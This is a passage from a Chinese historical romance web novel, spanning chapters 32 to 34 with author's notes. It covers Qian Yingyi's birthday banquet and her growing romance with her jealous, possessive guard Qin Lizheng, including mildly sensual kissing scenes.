她咬牙切齿,“你醋坛子翻了也别拿我来填!” 秦离铮不管她,干脆贴上去亲一亲,口齿含混,“你同他说话,我不高兴。” 钱映仪好像要从他身上软下去,攀着他往上挪了挪,仍不松口,“说两句话你就要不高兴,你这么小心眼,难不成我不能和别的男人说话了啊!” 秦离铮轻咬她半截细嫩的肉,两只手依旧握着她的腰,“你还夸他,我都听到了。” “那是你耳朵太灵敏,”钱映仪面色渐红咬着唇,止不住发软的身子要往下坐,“你捂住耳朵就行了。” 终于,她挣脱不了,陡然泄劲坐下,益发觉得翟弋人。 钱映仪又羞又急,忙要退开,可秦离铮仍旧摁紧她,吻倒是轻了。 他又往上转回去,亲得细致,一下一下轻啄。 钱映仪身体始终紧缩,被吻得头皮发麻,最终趁着他的唇短暂离开自己的间隙脱口道:“我没有夸他,他是天底下最坏的人,行了么?” 秦离铮这才停下,额心抵着她的,来回蹭一蹭鼻尖。大约他自己气得不轻,只是稍缓,又贴上去。 钱映仪双手改为抵着他的肩头,仿佛要哭,“我都说他不好了,你就不能让我下去?” “不能。”秦离铮手下愈发收紧,紧紧抱着她,近乎要和她粘在一起。 钱映仪抗拒想逃,一动,它也跟着动,脑子里一片空白,阖着眼承受他一下一下的吻,只觉裙摆都跟着湿濡。 隔了好一会儿,秦离铮才放开她,但也只是放过她的唇。他占有的目光紧盯着她的嘴,问,“谁在亲你?” 钱映仪又尝到了令自己头晕目眩的吻,一时脑中空白,没有说话。 秦离铮握在她腰间的手紧了紧,脸又靠近她。 “是你。”她猛然回神,上下不得,被他那双手卡在最坚硬的地方,唯有妥协。 “我是谁?” 钱映仪紧抿着酥麻的唇,知他想听什么,偏不想如他的愿,盯着他那半截露在外头的脖子,重重一口就咬了上去! 秦离铮吃痛轻嘶,半晌,倏然把她往怀里送了送,彼此身躯益发滚烫。 终于,钱映仪松了口,看着那一圈牙印,嗓音才从齿隙里泄出来,“你是被我咬疼了也没办法拿我怎么样的人。” 秦离铮看她越来越较劲,不禁莞尔,便把脖子的另一边也凑到她的唇边,“不咬个对称?” 钱映仪握拳去打他,“你又这样!你又这样!” 好在这一下把彼此升起的欲/念都压了下去,秦离铮总算放她下去。钱映仪得到自由,忙正襟危坐到一旁,一想到方才,脸也不自觉越来越红。 天老爷,不止是他,她的胆子也越来越大了。 秦离铮把散落在地的包袱与画笔捡一捡,窥她好似在回味,便拿画笔轻挑她的下颌,又往她脸上亲了下,“我不喜欢你与他说话。” 钱映仪躲了躲,轻哼一声,“腿长在我身上,我爱跑去与谁说话,就与谁去说,你管不了我那么多。” 秦离铮垂眼盯着她,忽然笑了,“我是管不了你的腿,但我能管一管别的。” 说罢,打帘出去,留钱映仪在马车里渐红一张脸,想追出去打他,又不好叫人瞧见自己这幅模样。 钱映仪伸手抚一抚唇,垂眼轻扫指腹,出门前抹的口脂一点都不剩!她免不得又想,他当真是个小气至极、尤其善妒的人! 想着想着,又埋头扑在垫枕上羞了起来。 车轴滚动,压下了彼此之间的潮湿涌动。太阳仍在,在亮锃锃的天光下,却好似照亮了两颗急速跳动的心—— 作者有话说:姓裴的家伙暂时先下线! 钱映仪:咬死你! 秦离铮:行,这边也咬一下。 两颗心就这么慢慢慢慢慢慢地靠近~ 第33章 浓荫密匝,庭院石榴花挂墙,蝴蝶也耐不住暑热,振翅往墙头阴密处飞旋。 钱玉幸与任郁青这几日却时常往云滕阁来,只捉着钱映仪说话,因何呢? 原来是钱家映仪生辰将至。 满园清香,钱玉幸捧着冰镇甜瓜在树下吃,倚着树笑,“六月十五,每年想到你过生辰时,娘那副回想起生你时就要了半条命的表情,我就十分想笑。” 钱映仪生在夏日,一对兄姐则在冬日。她娘在怀她时就吃了不少苦。 到夏日诞下钱映仪,又闷在屋子里养身子,好好的一个官眷 美妇,也忍不住暑气折磨泼口骂道:“钱锦年!从今往后你不许再进老娘的屋子,要生你自个儿生去!” 每每听到这,钱映仪也捂帕偷笑,今番亦是如此。 笑过一阵,继而望向任郁青稍稍隆起的小腹,“嫂嫂,你放心,我小侄女出世时天气正凉爽呢,有我与姐姐伺候你,保管你舒舒服服的。” 任郁青抚一抚小腹,目色柔软,“怀她时就闹腾,折腾得我吃睡都不稳当,还不知生出来有多调皮。” 钱映仪笑嘻嘻斟茶喝,往竹编摇椅上靠,执扇轻揺,“多大点事儿,是侄女,咱们就宠着,女孩子娇气些无妨,是侄子就打两顿,有哥哥在,他有心上天入地也得被按得死死的。” 三人笑作一团,十分惬意。倒磨了磨秦离铮,因钱玉幸与任郁青这几日常来的缘故,他这几日都没在青天白日里与钱映仪说上半句话。 这厢钱玉幸又把话锋转回来,管钱映仪又要了一瓣瓜,“话说你今年生辰想如何过?哥哥虽在扬州,可姐姐与你嫂嫂都在你身边陪着,比前头几年热闹不少。” 钱映仪“唔”了一声,拿不定主意,“哎唷,人家还没想好呢,待我仔细想想。” 这一想,就想到了落日鎏金时。 往小花厅用过晚膳,钱映仪便独自打转回来,进门见小丫鬟们堆在一处摸话本子看,便笑吟吟管那翠翠也要了一本。 到了晚间沐浴时,因太燥热,钱映仪欲用温水洗一洗,被夏菱连番相劝,才不情不愿坐在水雾洇润的热水里。 热得她连眼睑下都浮着一抹淡淡的红,鬓角两绺湿发延伸至下颌,柔和里无端端牵出一丝艳丽。 钱映仪一惯喜欢在夜里挑灯奋进,此番便埋首在案前,借着银釭里的光描描写写。 说来也巧,上回险些丢命,回来不过三五日她就忘了害怕,反倒把当时那惊心动魄的感觉一一记下,欲往纸上再书写个志怪故事。 毕竟那印宝阁的东家给的分红实在太好看,她亦十分喜欢那些白花花的银子。 大半个时辰过去,手腕渐酸。把案上收拾得整洁干净后,钱映仪遂拿过从翠翠那儿要来的话本子,歪倒在案上细看。 刚扫量几眼,钱映仪就猛然阖上,脸上平添一抹羞色。 好个翠翠!也不怕羞,竟敢偷瞧这样的话本子! 钱映仪闭了闭眼,又悄瞥那书封,架不住想看,一双手复又把它翻了翻。 正沉下心要看,不防西窗陡响,一道身影熟门熟路翻进来,把钱映仪唬一跳,也不知慌乱个什么,忙不迭就把话本子往身后藏。 秦离铮轻步行至她身前,歪头把她脸上那一抹可疑淡红窥一窥,静观她片刻,倏道:“藏了什么?” 钱映仪生怕在他面前丢了面子,忙摇头,顺势悄悄后退,把那话本子往案下的暗屉里送。 怎知秦离铮动作比她快,只往前迈两步,手一揽,便把她手里那话本子抽了出来。 “嗳!你还给我!”钱映仪立时伸手去夺,被他一手钳住两只手腕,她压了压嗓,干脆拿脚去踹他,“不许看!” 秦离铮本意只想逗一逗她,看她如此着急的模样,心头牵出好奇,拇指轻抵开话本子,随意瞟了一眼。 满室寂静。 稍刻,秦离铮低低念出来,“王生一把掐住小姐的腰,欲吻之,小姐羞然躲避,王生顺势欺身而上” 他由胸腔里振出两声笑,朝她晃一晃话本子,“你喜欢看这个?” 问得钱映仪脸色布满赧意,很是不好意思。 她把脸转开,抿一抿下唇,问,“你不要同我说,你半夜进来我的屋子,是来看我笑话的。” 秦离铮搁下那话本,缓步拥上前,吹灭那银釭里的火光,双臂把她困在案前,嗓音低得很是缠绵悱恻,“你说呢?” 言罢,一只手贴紧她的腰窝,一寸寸往上挪,旋即轻掐住她的腰,似要把那话本子里的描述一一实施。 钱映仪假意装镇定,面不改色,也不讲话。 夏日衣裳单薄,她想,大约是她才沐浴过没多久,很热。她甚至能感受到他拥过来时,那身箭衣下的身躯有多滚烫,有多抓心。 秦离铮越抵越近,近到一俯首就能衔住她的唇,垂眼看她眼观鼻鼻观心的模样,暗自好笑,蓦然松了她,只道:“生辰将至,你想要什么生辰礼?” 钱映仪心里闪过一抹极轻的失落,很快又被她抛开。 她掀眼往他脸上瞧,顿了顿,便刻意清清嗓,嗓音里喧出一股意味深长,“那要看送礼的人是什么心意囖,这种事,向来是礼轻情意重,我这人也普普通通,就喜欢轻如鸿毛但又能重到我十分欢喜的东西。” 秦离铮把下颌轻点,默然片刻,又拨着她的下巴左右窥看,“我眼力好,你与我说说,脸是怎么回事?” 他笑,“怎么还这样红?” 钱映仪深知被他戏弄,干脆明晃晃瞪他一眼,推搡着他往西窗那头去,“你管我怎么回事,我要睡了,你再不走,我就嚷嚷着让夏菱进来捉你!” 推推搡搡一番,周遭复又重归静寂,只剩蝉蛙交叠鸣唱,像要把钱映仪的心给唱出来。 柳庭风静人眠昼,昼眠人静风庭柳。钱映仪自帐子里坐起身,倏喊,“夏菱!” “吱呀。” 稍刻,门被推开,夏菱半张脸出现在缝隙里,问,“小姐有何事?” “我睡不着,把春棠叫来,你们与我一起睡。” 夏菱诧然,自十二岁起,她与春棠两个就不陪着小姐睡了。一是小姐渐渐没那么在意陪伴,二是小姐终归是小姐,两个丫鬟总陪着睡,少不得有些不妥。 数息的功夫,春棠抱着被衾与夏菱一并过来,明显睡眼惺忪,是由夏菱从床榻上扒下来的。 钱映仪使她们两个一左一右躺下,旋即两条胳膊各挽一个。 可即便是如此,夏菱也觉察出她心中有事,因此侧一侧身,拿掌心当枕,望着她道:“小姐有心事的话,不妨同我和春棠说一说。” 春棠虽静悄悄的,也察觉出来,故而把脸歪一歪,只盯着她。 钱映仪瘪一瘪唇,终于还是坐起身,往腰后垫一垫八角软枕,干脆一如从前,不讲话,只拿手比划起来。 ——我又大了一岁,已满十九,去年爹爹催我回京师的信就来了一封又一封,我总推脱自己还小,如今虽说哥哥姐姐都来了这边,但他们办完事也得回京师,届时我再没有任何理由留在金陵了。 她两眼水汪汪的,好似隐含不舍,只是这不舍究竟源自什么,夏菱与春棠心中有数。 有五分,是爷爷;有两分是这偌大的金陵;余下那三分,或许是那揽撷她一颗芳心的侍卫。 两个丫鬟心里明镜似的。大约小姐自己都没能察觉,她已然开始忧心她与他的“将来”。 将来是什么?夏菱没尝过情爱,很难说清。可她一惯善解人意,干脆挑破。 ——小姐有没有考虑过赘婿? 钱映仪一怔,不由自主地抬脸往帐顶看了一眼。她晓得,他在。 这桩隐秘被骤然撕开一条口子,挑在明面上,钱映仪十分不自在。 ——谁说要嫁他了? 两个丫鬟但笑不语,她们可没说是谁。 钱映仪心中渐起涟漪,被捉弄得生气,拉过被衾往脸上一蒙,好半晌才扭扭捏捏出来。 春棠笑了笑,替她顺一顺额发,旋即提出建议。 ——不若小姐先去探一探老太爷的口风,老太爷向来站在小姐这边。 钱映仪忙摆摆脑袋。早年前来金陵,爷爷已为她操心不少事,她这点小小的忧愁怎好再麻烦爷爷? 谈来谈去,钱映仪只觉愈想愈烦。索性把这些统统在脑子里推开,笑吟吟问春棠待嫁是什么感觉,见春棠羞红了脸,她好似也跟着高兴了,便把两个丫鬟一搂,彼此依偎睡去。 眼看红芳犹抱蕊。业中已结新莲子。微风吹拂高墙竹影,没几日,吹来了钱家映仪的生辰。 这日太阳暂歇,林荫仍旧,早起便觉清爽沁凉。 鸣蝉犹响,钱映仪起了个大早,为今日招待宾客而做准备,伏腰坐在镜前施妆傅粉,装点一张芙蓉面。 到底是大排筵席,与那晏秋雁一般,在家中办起了生辰宴。 许珺尤其疼爱钱映仪,早早往外头请了位绣娘,为钱 映仪裁制一件精美华裳。 只道今日生辰,钱映仪务必是众多小姐里最靓丽的那个。 没几时妆点好自己,钱映仪遂往外头去。 钱家鲜少宴请宾客,因钱玉幸替妹妹出头这桩事的缘故,今日前来的太太小姐们面上无一不挂着笑,钱映仪一路走过与其行礼,被连带得脸皮子都笑得有些僵了。 好容易行至凉亭内,钱映仪轻拂额角汗珠,叹道:“这样多的人!好些人我见都没见过,我连人家姓王姓李都不知,人家还说什么,钱小姐,恁还记得俺闺女不?我何时认识过河南行省来的太太小姐?” “人家一家是从河南行省调任来金陵的,”晏秋雁摇着扇笑,“想必也是听了外头的风声,不请自来。” 温宁岚也跟着笑,“自打玉幸姐姐来了金陵,外头可是少了许多与你有关的谣言,我倒觉着这样挺好的。” “嗐,不说这个。” 钱映仪无所谓摆一摆手,眼瞅着燕文瑛坐在一旁,便不由自主去瞧男席那头的蔺玉湖,正与人吃着酒,形容虽俊,却太过轻浮,她免不得又把眼风转回来,轻问,“燕姐姐近来可好?” 她近来也隐有耳闻,燕文瑛仿佛与蔺玉湖闹得不大好看。 燕文瑛有些发怔,还是晏秋雁在一旁轻推她,才眨一眨眼回过神,半日憋出一抹笑,“我没事呢,近来一切都好,倒是你,映仪,上回见你还是秋雁生辰宴,一晃到了你生辰,我送的生辰礼可还喜欢?” 她送与钱映仪的是一对刻丝金蝶,模样十分漂亮,钱映仪抿唇笑一笑,客气道:“燕姐姐眼光好,我岂敢不喜欢?” 燕文瑛跟着笑,点点下颚,“还是我叫三郎陪我一道去铺子里挑的,他说这金蝶衬你,想来是该把他也夸一夸。” 几人正说着,打远由小丫鬟引来二人,定睛一看,竟是那都水清吏司范大人的太太与小姐范宝珠。 走近了,范太太便笑送上一个四四方方的小锦盒,范宝珠遂冲钱映仪道:“钱小姐,我与母亲不请自来,还请莫要怪罪,此番是为感谢,多谢钱家上回替我与母亲解围。” 想必上回被人挤兑的滋味难受,今日母女二人身上扑了香粉,香喷喷的。只有那等嗅觉异常灵敏之人才能察觉出一丝腥味。 钱映仪忙使夏菱接过那锦盒,笑道:“不妨事哩,既来便是客,范太太与范小姐先四处转一转吧,届时开席,自有丫鬟来请。” 母女二人遂暂且随丫鬟去了园子里。 凑巧任郁青坐在一旁嗅到了这丝味道。 虽轻,却也有些不适。 她知礼温柔,不好在这对母女眼前表露出来,待得她们离远了,才轻拍胸脯顺气。 燕文瑛这番自然也是受了燕榆的嘱咐前来,目的则是与钱家把关系融洽融洽。 见任郁青不适,燕文瑛眼色转去她的稍稍隆起的小腹上,客气关切道:“钱少奶奶,没事吧?” 钱玉幸随许珺去了外头待客,眼前这一小桌,唯任郁青与燕文瑛两位已成婚的奶奶。 任郁青端起温茶轻饮,压下那抹不适,便冲燕文瑛牵出一抹友好的笑,“劳你关心,我没事。” 见燕文瑛盯着自己肚子瞧,又见她瞧着比自己年岁大一些,任郁青只当她或许已然生育过,便问,“我头一回做娘,不懂里头的门道,奶奶能不能与我细说一点?” 这话一出,一桌人都盯着任郁青瞧。她亦聪慧机敏,这下也回过神来,想是说错了话,也没什么主家架子,忙起身与燕文瑛行礼,“是我失言,还请受我一礼。” 燕文瑛哪能由她向自己行礼?忙起身拦停她的动作,只是再坐回圆杌上时,免不得把眼风恨恨往蔺玉湖那头送。 再转过脸来,便扯了扯唇,牵出几分自嘲,“成婚这么多年未得一儿半女,本来也是不争的事实囖。” 晏秋雁与她关系融洽,忙上前劝慰一二。 钱映仪也点点下颌,道:“燕姐姐还是莫要为他人之错而折了自己,你自有一番活法,别人再如何也不能强求你。” 说得燕文瑛心中一颤,在天光下把钱映仪仔仔细细扫量了一番,半晌,竟是笑了,连连点头,“你说得对,我得为我自己活。” 你一言我一语谈笑半日,筵席排开。席上钱映仪被众人围簇,拥着她说尽好话。 钱兰亭向工部告了半日假来陪她过生辰,钱玉幸与许珺也在一旁陪着,叫钱映仪心头益发温暖,只暗道身边许久没有来过这么多人,许久没这般热闹过了。 高兴过后,不知因何缘故,心底渐渐一丝空虚。 这抹空虚引得她在席上连连往四周窥瞧,好像若能抓紧那抹身影,他结实的身躯便能把她心头那个小小的缺口填满。 可四面睃寻一眼,这片热闹的天地里并没有他的影子。 热闹了半日,正席散去。不少太太小姐辞去,只留晏秋雁与温宁岚这等平日里与钱映仪关系好的小姐在钱家,下晌一齐打打叶子牌,也算消遣。 钱映仪连番推脱,正独坐一旁,伏腰坐在廊椅上,只瞧着旁人热闹。 不一时,远远行来一道单薄身影,钱映仪扭头望去,竟是未擦拭妆容的璎娘。 今番钱映仪请了璎娘所在的戏班子登门唱戏,现下细细回想,却连戏班子唱了什么都不大记得。因此她稍有歉意,忙往一旁让一让,请璎娘挨着自己坐下。 今日可没人敢说璎娘手脚不干净,她心中痛快,对钱映仪益发心生喜欢,忙往怀里摸出个长条锦盒递去,“钱小姐,抱歉,本想一登门就送你,我瞧着宾客实在太多,便留到最后才来祝贺你。” 钱映仪笑着收下,陡然想起她与隔壁那裴官人打得貌似火热,便冲她挤一挤眼眉,“我瞧着戏班子都准备走了,你刻意留下,是不是为着裴官人?” 说起裴骥,钱映仪又暗自嘀咕,“也是奇怪,我好些日子都没听见隔壁的唱戏声了,那宅子安静得要命。” 怎知璎娘黯然垂下头,小声道:“我也好些日子没见过他了,他没搬走,门房仍是那个小厮,我想大约是不想见我吧。” 她陡然暗自神伤,钱映仪一时失语,自知胡乱说话引出了她的伤心事,便把她薄薄的肩拍一拍,只道一段情缘如昙花一现,实在太快。 这番感叹也引得钱映仪一整个下晌都在出神,总觉得分明是她过生辰,她却没那般高兴。 正巧夏菱往云滕阁去了几趟,这一回便来问,“小姐,那些不大相熟的门户送的礼,奴婢往哪里放呢?” 钱映仪似如梦初醒,心里头渐渐浮出一个念头。她控制不住自己,荒谬地去想,这么多生辰礼里,没有一个是他送的,细细检算,她竟然最期待他会送自己什么。 这个念头令她蓦然起身。 穿廊过时,碰上钱玉幸迎面走来,“你往哪里去?马上要用晚膳了,你那些朋友还在家里耍呢!” “我有要紧事,姐姐,请你替我多招待一番。” 园中依旧芬芳,亭榭错落,整个家依旧十分熟悉。时至傍晚,火烧云渐隐,天色将暗,钱映仪独自一人提着灯笼四处穿梭,却顿感陌生。 好像在哪里都寻不到他。 停在原地愣神片刻,钱映仪猛然想起还有一处未去,忙不迭就旋裙往那头跑。 风声四起,四面芳香包裹着她,她只顾着往那处跑,跑得灯笼也熄灭,鬓发也微散。 半刻过去,钱映仪气吁吁停在那座偏僻亭宇外,凝视着亭内那道熟悉身影。 他果然在这。 这园子偏僻,除了她不会再有任何人过来。上回他便是在此处寻到了她,他竟躲在这! 钱映仪一步步向他靠近,这才发觉他轻轻阖着眼,似在休息。 她登时恶毒笑了,阴恻恻伸出手去拧他的胳膊,说话还轻喘着气,“我四处寻你,你晓不晓得?你躲在这里做什么?” 秦离铮懒洋洋掀眼瞧她,看她乌鬓微散, 便抬手拢一拢,“宾客散了?” “没走,”钱映仪鼓腮在他身旁站定,瞟他一眼,“我为了寻你,把他们都舍弃了!” 这话已然十分暧昧,秦离铮不动声色勾着唇,起身替自己斟茶润喉,道:“所以,你与我想到一处去了,只想与我单独一起过完这个生辰?” 云层见月,清辉月色斜斜洒尽亭内,披在他的肩头,映照得他两只眼睛都饱含水色,很是温柔。 钱映仪难得没有跳脚,只抿一抿下唇,自顾朝他靠近。 因身形差距的缘故,她站在他身前,只能仰脸瞧他,她已不自觉在他两腿间站定,他便也放下杯盏,轻轻搂上她的腰。 钱映仪的心跳倏然加快,心里那个小小的缺口好似正在重塑,见他渐渐俯身,鬼使神差地,她就把轻颤的两帘睫毛给阖紧了。 亭内四下寂静,蝉鸣声渐重,半晌,听他在耳畔轻笑,“在等我亲你?” 钱映仪蓦然睁眼,羞意涌上心头,握拳狠狠捶他,“哎唷,你讨厌死了!” 秦离铮由她去打,自顾往怀里摸出个物件,眨眼的功夫就插进了她的发髻。 钱映仪动作一顿,扬着下颌瞧他,抬手便把那物件给取了下来。细细一看,原来是把做工精致到无可挑剔的梳篦。 “跟何铁匠学了几日,可还能入你的眼?” 钱映仪的怒意倏然消散,垂眼盯着梳篦来回扫量,嘟囔道:“我说你这几日不见踪影,原来是背着我做这个去了。” “还行吧,也没那么难看。” 她话虽如此说,却把发髻里的首饰抽出,要把这梳篦插上去,“你别光站着,替我看看呀,我戴歪了么?” 正还要再说,手腕上的镯子轻轻撞了耳坠一下,极轻的清脆撞响令她微怔,旋即低眉环视自己一眼,发觉自己今日身上穿戴的所有首饰都是由他所赠。 不知因何缘故,她十分想笑,“噗嗤”一声就笑了出来。 待笑意停歇,她仰脸去瞧他,便见他垂着视线在看自己,她又在他那双黑漆漆的眼睛里发现了自己。 她笑,里头的倒影也跟着笑,“谢谢你呀,我很喜欢。” 秦离铮习惯跟着她的情绪走,便把脸凑近她,唇畔噙着一抹笑,“既然喜欢,愿你常得喜乐,我能不能讨要个东西?” 钱映仪不用琢磨都知他在打什么主意,没来由有些紧张,“就一下?” “就一下。” 袅袅微风吹进亭内,耳畔是蛙鸣,仰头是漫天星辰,眼前是熟悉的脸。钱映仪心中荡起涟漪,双手不自觉捉裙,轻轻踮脚,在他侧脸亲了下。 亭内地砖一双影子近得缱绻,秦离铮无声笑了笑,握上她的手,指了指另一边脸。 钱映仪霎时羞恼,“你说过的!就一下!” 他的目光渐渐变得火热,盯着她的嘴不放,说出来的话令她觉得他尤其狡诈,“只亲一边,你不难受?” 他不提倒也罢,钱映仪正十分紧张。他一提,钱映仪心头就开始发痒,眼睛时不时往他那半边脸上瞟。 而他只是握着她的手,不叫她逃开,静静等着她做出决定。 良久,钱映仪终于忍不住。一把揽过他的脖子往下拽,又重重印了一吻在他那半边脸上。 这下勾起彼此间的隐秘情绪,秦离铮顺势捞她的腿弯,由她的腿勾住自己,双臂稳稳拖着她。 他则稍稍往下坐,靠在了身后那张石桌上。 蹭一蹭她的鼻尖,他问,“现在反过来,亲一下,可以吗?” 这话令钱映仪倏地赧然,他倒谨记那约法三章。可她是个姑娘家,怎么可能在他面前点头? 因此,她只垂着眼不说话。 月色明澈,掩映草木。钱映仪由他抱着,一双手勾着他的脖子,明知已经亲密得过了头,心中却依旧忐忑。 好像照进亭子里的月光也能照亮她的心事,她在做什么?她在等他吻自己吗? 他的吻落下来是重重的,还是轻轻的呢? 很可惜,如她这般不能宣之于口的心事只在她的心头停留了片刻。 下一瞬,他的嘴唇便贴了上来。 钱映仪暗自心颤,手不由自主攫紧他,在呼吸快至极限时,又轻轻张开了唇。 垂眼望着明显陷进情/欲的她,秦离铮换作啄吻,一下一下安抚她。 旋即轻轻掀眼,透过她的腮畔去瞧不远处那一抹身影,眸色隐含挑衅。下一刻,不再管那人,又阖眼加深了这个吻。 燕如衡站在拐角静静看着二人,暗藏在衣袂里的指骨已用力到发白。 早在钱映仪与钱玉幸说话时,他便已发觉她欲离去。一路跟过来,不过只想与她说一说话。 就这般不巧,撞见她被勾走。 撞见她与侍卫行那样亲密之事。 他该如何?又能如何?上前把二人分开吗?以为自己是谁? 燕如衡闭了闭眼,深深吸气,沉着脸一言不发转背离去。 他只顾往前走,愈走愈快,心底的酸涩愈发深重。若非开局就是错,他何至于眼睁睁看着她入他人怀抱。 他走得急切,不知拐过几个廊角,陡地迎面撞上一道倩影。 范宝珠心中对钱映仪与钱玉幸很是喜欢,原是想留在钱家多与姐妹俩说说话,可到底与旁人不大熟悉,只好独自四下转一转。 险些被撞倒,范宝珠低呼一声,抬脸一见是那光风霁月的燕家三郎,她的心登时扑通直跳,忙道:“燕大人,没事吧?” 燕如衡向来自持冷静,可眼下满脑子都是二人拥吻的场景。恐自己再待下去会不由自主折返回去,此番已顾不得与范宝珠说话,连扶都没扶一把,径自越她离去。 留范宝珠在原地眨眨眼,也不恼,只眼巴巴目送他的背影离去。 这厢钱映仪已有些受不住,忙气吁吁推开秦离铮,挣扎着自他身上逃了下去。 大约这个亲吻是由她默认的,钱映仪又落了下风,不敢扭头去看他,只能借着月色转去亭宇外,眼色慌慌张张四下乱瞟。 听他的脚步声在身后响起,她讪笑两声,没话找话,“忘了问,你的生辰是什么时候啊?” “九月初一。” 他的每一步都仿佛踏在了她的心坎里,十分有份量,她怀疑他的腿上绑了秤砣,否则,为何每一步都叫她心颤? “咻——” 好在宅子上空绽开烟花,银花渐洒,彩光耀眼,令钱映仪听不见他的脚步声,心跳也稍稍平缓下来。 这是爷爷请人扎的炮竹与烟花,特意为了她而放。 皎洁月色与绚烂烟火互映,钱映仪眼底满是星辰,她想,今夜她大抵是整个金陵最幸福的小姐。爷爷的爱,姐姐的包容,一家人的贴心,紧紧包裹着她。 身侧乍现一道身影,钱映仪扭头去望,是他。 秦离铮仰头把热闹尽收眼底,倏唤她的名字,“钱映仪。” 他唤过小姐,唤过映仪,连名带姓唤她是头一回,钱映仪嘴唇轻张,应了声。她知道,他能听见。 “你不许愿吗?”他道:“向烟火许愿,或是向我,只要你说,我便去做,绝不食言。” 在炫丽银河下,钱映仪笑了笑,“我什么都有了,还要许什么愿呢?” “那便留一个在你心里,等你何时想许,再告诉我。” 钱映仪偏头凝望他。 他生得很高,她总要仰起脸去看他,哪怕是打他,用起劲来也免不得要轻轻踮脚。她依旧说不清心中的滋味,与他站在一起时,她的心里又甜又酸,还有点麻。这 种感觉,究竟是几时开始出现的呢? 半晌,烟火暂歇。她轻轻开口:“阿铮。” 秦离铮勾起唇,“嗯?” “倘或我是说,倘或要你舍弃自己拥有的一切,去过不一样的人生,你愿意吗?” 她的声音很轻,却振在秦离铮心头。他想,他大概能猜出她这话语下的含义。 只是她未说穿。 秦离铮渐渐转过身子,面向她,正视她的眼睛,“那要看是和谁。” 噼啪绽响的爆竹复又出现,爷爷出手大方,请师傅扎了许多烟花。钱映仪愣神看着一束银光由他的肩背往上蹿,“啪”的一声,烟花四散在他头顶。 她也在喧阗的热闹声里看清了他双唇说出的那句——只要是你,我便愿意。 钱映仪蓦然在此刻想起去岁乞巧节时,她曾与夏菱春棠一并往淮河两岸游玩。 彼时,淮河两岸搭了数座木板桥,扎满了彩绦,由红娘从中拉线,让一些羞于把情说出来的男女绑在一起。 那时她躲在人群后头,指着那一对对男女紧握的手不停发笑,“你瞧,好傻!” 钱映仪目光缓缓挪至他的一双手。 爆竹声渐歇,不远处隐有声音在呼唤她,想是不知她去了何处,在四处寻她。 钱映仪盯着这双近在咫尺的手,忽然产生一种念头。 她想,她大抵也有些疯,也有些傻,她竟想把这双手握紧,继而不管不顾拉着他冲出去,让外头寻她的那些人瞧见。 这样他们既寻到了她的人,也发觉了她不知因何而振荡不已的心—— 作者有话说:秦离铮:你说你特意跑过来找我,就是为了和我待在一起过生辰? 钱映仪:我不是我没有,你不要胡说! 嘴硬这一块,映仪排第二,谁敢排第一。 爱意悄然如野草生长~ 第34章 渐渐地,烟花声平息。那一股不顾一切的冲动也随之消散在钱映仪心头。 她当初可是信誓旦旦定下三月之期。她怎可能如此快就喜欢上他? 虽这般矜持地想,钱映仪浑身上下却松快了不少,低首笑一笑,这才望向他,“嗳,听见了吗?他们都在寻我。” 秦离铮回望着她不讲话。他从前不讲话,钱映仪会跺一跺脚,耐不住性子催他说两句,此刻却不在意这些,因他那双幽深的眸底只有她的倒影。 她不去与他计较这些细枝末节。干脆旋裙往外走,“别木杵杵站在这里了,你送我回云滕阁去。” 前院热闹,四处都在寻她,她却想在这喧阗的天地里与他待一待。 秦离铮抬脚跟随她离去,心知他与她之间又有什么东西正在悄然转变。他不去提,只静静地像从前那样跟在她的身后。 她往哪拐,他就往哪转一转。 她有她的想法,他不着急。他只是在想,无论她是想慢慢来,还是硬撑到三月之期的最后一日,只要她愿意,他都能等,他愿意尊重她的一切。 月上枝梢,二人一前一后慢步前行。良辰美景,连东墙两面各自攀爬的花都好似延展了花枝,只待彼此轻轻一触,就能顺势绞缠在一起。 云滕阁的小丫鬟们都去园子里瞧烟花去了,现下只剩个空荡荡的院落。 钱映仪倏然觉察出点什么,仗着没人,便猛然把一张脸凑到他眼下,逼问,“你还没说,我今日美不美?” 秦离铮呼吸稍窒,目光寸寸扫过她一张施妆傅粉的脸。看她唇畔的口脂微花,他抿一抿唇,拇指摁上去擦拭,“美。” “哼,算你有眼光,”钱映仪挥开他的手,指一指她常乘凉的那棵树,笑嘻嘻道:“我想在那儿搭架秋千,夏日还长着呢,你能不能替我做一架?” 秦离铮把眉轻挑,“不怕虫了?” 钱映仪陡然有点笑不出来了,匆匆敛了笑。 秦离铮以为这句话惹她生气,舌尖打了个转,方要说些好听的话哄她。 岂知她把脑袋一垂,小声道:“我十九了,你知不知道?我想,待嫂嫂生产完,我就该随他们一起回京师了,有虫就有虫吧,我想把快乐多留一些在金陵。” 秦离铮暗自盘算她回京师的日子,想及那时他也已收网,便半开玩笑试探问,“想不想让我与你一起回去?” 话音甫落,秦离铮就见她那一双眼睛渐渐明亮起来,双唇轻张,明显听了这话很高兴。 但或许因为羞,又或是拉不下面子,她只是把头一扭,“嘁”了一声,“真不要脸。” 秦离铮总能敏锐察觉她隐匿的那些小小情绪。她在舍不得金陵的同时也在忐忑回到京师,时隔十年,京师于她而言,早已与十年前的金陵一样陌生。 他在脑子里搜刮了不少山盟海誓,想与她保证,即使是回去了,他也仍旧会在她的身边。就像他无数个日夜妄想的那样,他要与她做一辈子的小姐侍卫。 可搜刮来搜刮去,忽然发现誓言太过漂浮。他索性把誓言转变为行动,抚一抚她的额角,嗓音沉得令人安心,“好,我替你做秋千,还想要什么?一并说来。” 钱映仪由他抚平内心那一点焦躁,仰脸去看他,笑颜复又展露,“还早呢,暂时没想到,至于那架秋千,我想缠上许许多多的花在上面,要一架全金陵最漂亮的。” 不远处渐响脚步声与嬉笑,想是那些小丫鬟们结伴踅回。钱映仪旋裙站去廊下,破天荒头一遭回首凝望他。 四目相对,彼此无言。各自好像没有讲话,又好像把该讲的都讲了个遍。 秦离铮笑,“早些睡,今晚月色好,你也能做个好梦。” 钱映仪这才洋洋一笑,身影渐渐隐去。 秦离铮收回眼,转背往外行去。避开了那些小丫鬟,凑巧在另一头碰上夏菱与春棠捧着那些生辰礼走来。 夏菱与他说上两句闲话,两方擦身过,夏菱仿佛有些拿不稳那些锦盒,其中一个“啪嗒”一声跌落在地。 夏菱连头也没回,嗓子里却喧出一股意味深长,“嗳,林铮,你帮着捡一捡,看看里头是不是一对金蝶,我记着这东西是燕家送与小姐的,我还得拿给小姐去清点呢!” 秦离铮默然片刻,捡起那锦盒,打开一瞧,果真是对精致小巧的金蝶。 他冷笑一声,拿出那对金蝶在掌心扫量,稍刻,掌心一用力,金蝶顿时扭作一团,再不能窥其全貌。 什么金蝶,什么燕家,没他的允许,统统都该远离她身边。 